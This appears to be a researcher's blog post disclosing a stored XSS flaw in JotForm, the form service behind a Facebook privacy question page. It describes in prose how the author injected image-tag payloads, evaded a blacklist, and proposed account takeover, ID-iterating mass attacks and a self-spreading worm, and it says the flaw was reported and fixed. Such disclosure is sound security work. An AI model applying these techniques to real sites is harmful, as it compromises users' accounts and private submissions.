The Facebook page was pretty straight forward, a bit of blurb and a form to submit your questions.



Here's the question form:
I assumed the question would be sent straight to Facebook but I was curious exactly how/where. Looking at the page code I saw something similar to the following:  


The form actually posted to Jotform.me, not Facebook. Looks like it's a third party plugin of some kind?


The Jotform form

To better understand what was going on I headed to Jotform.com and signed up for a free account. I created a form identical to the Facebook form and injected an XSS image payload into every field.

When I viewed my submissions page I got the following:




Looks like we've found a stored XSS vulnerability. Digging into the page code you can see that we didn't even need to break out of an attribute, html tags are just accepted and rendered! Uh oh.


To gain access to Erin's Jotform account all we'd need to do is submit a standard XSS payload through the Facebook form and wait until she views her submissions on the Jotform site. It's almost too easy.

Now the clever ones among you may have noticed the irony of this situation. By gaining access to the Facebook JotForm account we'd be able to see all of the privacy questions people submitted through the Facebook site. Essentially breaching the privacy of people's privacy questions!



Privacy breaches aside, we could also target Erin directly with social engineering, redirect her to our own malicious site with the latest Adobe/Java exploits or a phishing page. XSS is really just the first step, there are many ways we could potentially drop the pwnage.

Speaking of pwnage...


Pwning every JotForm user

Although I didn't test this, it appears that it would be trivial to exploit almost every JotForm user by simply submitting malicious post requests across multiple account IDs. Post requests are non-authenticated and sent to a predictable URL:

e.g. http://submit.jotform.me/submit/30563167563456

With a little python/perl/ruby we could easily create a script to iterate through those ID numbers.

Or to speed this up we could distribute the attack by creating a worm that used some javascript to force users into re-posting to many different IDs thus spreading the payload. Gradually we'd compromise every single JotForm user. Nice.


Preventing stored XSS

Addressing XSS is usually straight forward. Some basic filtering/encoding of quotes and brackets normally does the job. However because Jotform actually used the tags from user submissions they had decided to implement a blacklist approach to filter malicious content. While this provided some protection it was trivial to evade.

As we saw earlier they missed the image event handler. They also missed the embed tag that I mentioned in my last post:


I've only covered the obvious examples, no doubt there are many more XSS vectors lurking on JotForm :)


Conclusion

Lesson number one, never trust third parties. If they get hacked, you get hacked.

Lesson number two, don't allow the inclusion of user defined HTML, it's just asking for trouble.

Both Facebook and Jotform were notified of these issues and they have now been fixed. Thanks to both companies for the quick responses!


Pwndizzle out